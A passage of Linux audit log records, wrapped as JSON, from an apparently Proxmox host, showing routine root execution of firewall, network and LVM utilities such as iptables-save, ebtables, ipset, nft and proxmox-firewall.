cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.797:63324): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e6070 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646019,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.019:66484): proctitle=\"iptables-save\""} {"@timestamp":1781966321178,"@rawstring":"node=pve type=PATH msg=audit(1781966321.178:69295): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945792,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.792:63323): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1387a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.011:66483): proctitle=69707365740073617665"} {"@timestamp":1781966321178,"@rawstring":"node=pve type=PATH msg=audit(1781966321.178:69294): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945786,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.786:63322): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13a150 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965646.000:66482): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966321178,"@rawstring":"node=pve type=PATH msg=audit(1781966321.178:69293): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945781,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.781:63321): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149e90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965645989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965645.989:66481): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966316171,"@rawstring":"node=pve type=PATH msg=audit(1781966316.171:69292): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945775,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.775:63320): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13a150 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60756 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965644093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965644.093:66480): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966316171,"@rawstring":"node=pve type=PATH msg=audit(1781966316.171:69292): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945771,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.771:63319): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ace4a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60755 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965644067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965644.067:66479): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966316171,"@rawstring":"node=pve type=PATH msg=audit(1781966316.171:69291): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.763:63318): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60754 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965643799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965643.799:66478): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966316171,"@rawstring":"node=pve type=PATH msg=audit(1781966316.171:69290): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.757:63317): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60753 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965643797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965643.797:66477): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966316163,"@rawstring":"node=pve type=PATH msg=audit(1781966316.163:69289): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.752:63316): arch=c000003e syscall=59 success=yes exit=0 a0=5c90ec768ed0 a1=5c90ec765c50 a2=5c90ec747680 a3=5 items=2 ppid=60746 pid=60752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965643797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965643.797:66476): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966316163,"@rawstring":"node=pve type=PATH msg=audit(1781966316.163:69289): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945749,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.749:63315): arch=c000003e syscall=59 success=yes exit=0 a0=5c90b06feac8 a1=7ffc25bfae40 a2=5c90ec747680 a3=5c90b06e224e items=2 ppid=60746 pid=60748 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965643790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965643.790:66475): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966316163,"@rawstring":"node=pve type=PATH msg=audit(1781966316.163:69288): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.748:63314): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc25bfae00 a1=5c90ec764b40 a2=5c90ec747680 a3=5 items=2 ppid=60746 pid=60747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965643790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965643.790:66474): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966316163,"@rawstring":"node=pve type=PATH msg=audit(1781966316.163:69287): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945744,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.744:63312): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965643790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965643.790:66473): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966315894,"@rawstring":"node=pve type=PATH msg=audit(1781966315.894:69285): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.737:63311): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60745 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965642588,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965642.588:66472): proctitle=66696E64002D4C002F7573722F6C6F63616C2F72766D2F686F6F6B73002D696E616D650061667465725F63642A002D747970650066"} {"@timestamp":1781966315894,"@rawstring":"node=pve type=PATH msg=audit(1781966315.894:69285): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.729:63310): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60744 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965642586,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965642.586:66471): proctitle=636174002F6465762F66642F3633"} {"@timestamp":1781966315890,"@rawstring":"node=pve type=PATH msg=audit(1781966315.890:69284): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.724:63309): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b88010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965638782,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965638.782:66470): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966315890,"@rawstring":"node=pve type=PATH msg=audit(1781966315.890:69284): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945717,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.717:63308): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b870 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965638782,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965638.782:66469): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966315887,"@rawstring":"node=pve type=PATH msg=audit(1781966315.887:69283): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945711,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.711:63307): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60741 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965638782,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965638.782:66468): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966315887,"@rawstring":"node=pve type=PATH msg=audit(1781966315.887:69283): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964944502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964944.502:63306): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382ad0 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60738 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965638769,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965638.769:66467): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966315886,"@rawstring":"node=pve type=PATH msg=audit(1781966315.886:69282): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964944466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964944.466:63305): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7409710 a1=64f8d1915dc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60737 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965638769,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965638.769:66466): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966315886,"@rawstring":"node=pve type=PATH msg=audit(1781966315.886:69282): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964941.210:63304): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965638769,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965638.769:66465): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966315886,"@rawstring":"node=pve type=PATH msg=audit(1781966315.886:69281): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941199,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964941.199:63301): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635975,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.975:66464): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966315882,"@rawstring":"node=pve type=PATH msg=audit(1781966315.882:69280): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964940.028:63298): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253810 a1=637ee7252b20 a2=637ee7240ef0 a3=8 items=2 ppid=60731 pid=60733 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635972,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.972:66463): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966315882,"@rawstring":"node=pve type=PATH msg=audit(1781966315.882:69280): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964940.028:63297): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253130 a1=637ee7252fd0 a2=637ee7240ef0 a3=8 items=2 ppid=60731 pid=60732 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635970,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.970:66462): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966315882,"@rawstring":"node=pve type=PATH msg=audit(1781966315.882:69280): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940026,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964940.026:63296): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254460 a1=637ee7242b80 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=60730 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635970,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.970:66461): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966315877,"@rawstring":"node=pve type=PATH msg=audit(1781966315.877:69279): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964936.190:63295): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.964:66460): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966315877,"@rawstring":"node=pve type=PATH msg=audit(1781966315.877:69279): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936180,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964936.180:63292): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635954,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.954:66459): proctitle=\"ip6tables-save\""} {"@timestamp":1781966315872,"@rawstring":"node=pve type=PATH msg=audit(1781966315.872:69278): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.700:63289): arch=c000003e syscall=59 success=yes exit=0 a0=5838e172fb20 a1=5838e173b9f0 a2=5838e1709680 a3=5 items=2 ppid=60721 pid=60727 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635945,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.945:66458): proctitle=\"iptables-save\""} {"@timestamp":1781966315872,"@rawstring":"node=pve type=PATH msg=audit(1781966315.872:69278): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.697:63288): arch=c000003e syscall=59 success=yes exit=0 a0=5838a8570ac8 a1=7fff864781a0 a2=5838e1709680 a3=5838a855424e items=2 ppid=60721 pid=60723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635937,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.937:66457): proctitle=\"ip6tables-save\""} {"@timestamp":1781966315866,"@rawstring":"node=pve type=PATH msg=audit(1781966315.866:69277): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.696:63287): arch=c000003e syscall=59 success=yes exit=0 a0=7fff86478160 a1=5838e172b1c0 a2=5838e1709680 a3=5 items=2 ppid=60721 pid=60722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635927,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.927:66456): proctitle=\"iptables-save\""} {"@timestamp":1781966315866,"@rawstring":"node=pve type=PATH msg=audit(1781966315.866:69277): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935693,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.693:63285): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60721 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635923,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965635.923:66455): proctitle=\"ebtables-restore\""} {"@timestamp":1781966315862,"@rawstring":"node=pve type=PATH msg=audit(1781966315.862:69276): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935686,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.686:63284): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60720 auid=4294967295 uid=0 gid=0 euid=0 suid=0 